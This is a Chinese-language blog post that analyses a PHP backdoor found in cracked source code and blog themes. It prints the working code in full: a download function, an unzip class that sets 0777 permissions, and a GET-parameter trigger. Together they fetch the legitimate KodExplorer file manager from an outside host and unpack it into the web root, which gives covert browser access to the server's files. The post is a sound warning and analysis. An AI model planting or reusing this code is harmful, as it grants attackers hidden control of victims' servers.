一段非常隐蔽php后门代码分析

yuday 2020-02-22 16:38 

最近发现网上许多程序中包含着一段php后门代码,经常出现在一些破解程序源码或是博客主题中,且不会被安全软件拦截,what?这么牛?好吧,下面让我们一起细细分析一下这段代码实现的原理。

仔细查看这段代码,其实是再普通不过的一段简单代码了,代码主要包涵两个功能,1.下载 2.解压,没错只有两个功能。

一 . 下载函数代码片段,用于接收传入的url和路径

function downFile($url,$path){
$arr=parse_url($url);
$fileName=basename($arr['path']);
$file=file_get_contents($url);
file_put_contents($path.$fileName,$file);  }

二 . 封装好的解压类,用于压缩包解压

class Unzip{
public function __construct(){
header("content-type:text/html;charset=utf8");
}
public function unzip($src_file, $dest_dir=false, $create_zip_name_dir=true, $overwrite=true){
if ($zip = zip_open($src_file)){
if ($zip){
$splitter = ($create_zip_name_dir === true) ? "." : "/";
if($dest_dir === false){
$dest_dir = substr($src_file, 0, strrpos($src_file, $splitter))."/";
}
$this->create_dirs($dest_dir);
while ($zip_entry = zip_read($zip)){
$pos_last_slash = strrpos(zip_entry_name($zip_entry), "/");
if ($pos_last_slash !== false){
$this->create_dirs($dest_dir.substr(zip_entry_name($zip_entry), 0, $pos_last_slash+1));
}
if (zip_entry_open($zip,$zip_entry,"r")){
$file_name = $dest_dir.zip_entry_name($zip_entry);
if ($overwrite === true || $overwrite === false && !is_file($file_name)){
$fstream = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
@file_put_contents($file_name, $fstream);
chmod($file_name, 0777);
}
zip_entry_close($zip_entry);
}
}
zip_close($zip);
}
}else{
return false;
}
return true;
}
public function create_dirs($path){
if (!is_dir($path)){
$directory_path = "";
$directories = explode("/",$path);
array_pop($directories);
foreach($directories as $directory){
$directory_path .= $directory."/";
if (!is_dir($directory_path)){
mkdir($directory_path);
chmod($directory_path, 0777);}}}}}

上面是这个后门的两个功能体,下载和解压这两个简单的功能,看到这里我想大家都已经非常清楚了,主要的猫腻应该在下载的文件里面,那么为什么下载解压后的文件不会被安全软件拦截呢?往下看

downFile("http://static.kodcloud.com/update/download/kodexplorer4.39.zip","");

关键所在这里, 调用下载函数,终于看到下载url的真实面貌了 。

奇怪的是为什么这样明目张胆连最起码的加密都没有的url不会被安全软件连接,把url放进游览器打开,才知道原来是可道云一个私有云盘,度娘一下,顺便给大家科普一下,内容如下:

可道云是一款方便易用,功能强大的私有云盘搭建管理工具,又叫可道云在线文档管理器。它是一款基于Web的在线文件管理、代码编辑器,提供了类windows经典用户界面,一整套在线文件管理、文件预览、编辑、上传下载、在线解压缩、音乐播放功能。这款软件能够让你直接在浏览器端实现web开发、源码文件预览、网站部署的同时拥有与本地操作一样方便、快捷、安全的体验。可以修改收藏夹、可以更换壁纸、可以设置编辑器、可以打开播放器,并且支持移动版,无需安装。

从资料可以看出可道云是正规的软件, 一款很不错的云盘软件,并没有危害 ,所以不会被安全软件拦截,只是人不法人员利用了。重点利用的就是“ 无需安装解压即用” 这点。方便了用户的同时也方便了不法分子钻了空子,可道云无辜躺枪,成为了后门的帮凶 ,我都替可道云感觉冤。 就像白雪公主吃的那个苹果.. 苹果原本是无毒只是被老巫婆.......哎,呸呸..废话真多 。

$zfile = new Unzip();
$zfile->unzip("kodexplorer4.39.zip",'./', true, false);

接下来实例化Unzip类解压下载下来的压缩包到当前目录(这里文件名和路径不是固定的)

if($_GET['su']=="test")

当我们在包含后门代码的网址后面 get参数?su= test时触发downFile函数下载,unzip解压(这里的参数和文件名也不是固定的,测试时自己定义的)

分析完代码为了便于给大家演示,特意在本地搭建一个简单php环境进行演示以示警示

首先在本地php环境根目录中创建一个包含上面代码的php文件取名test.php

在游览器里面打开含有后门代码url

回到我们刚刚创建本地环境根目录看看发生了什么

用游览器打开刚刚生成出来的index.php瞧一瞧

随便设置个账号登录上去

画面是不是很熟悉,和我们平时用的windows文件管理很像,只不过是用游览器管理本地磁盘文件,感觉可道云盘管理系统还是挺棒的。

其实这个后门的主要原理就是利用了可道云私有云盘解压即用,且url不会被安全软件拦截,偷偷下载解压实施不可告人的目的。

最后提醒大家,最好不要轻易下载不知来源的东西 ,不然在你以为惊喜的觉得捡到宝的时候,却成为了别人的惊喜。

发表评论


表情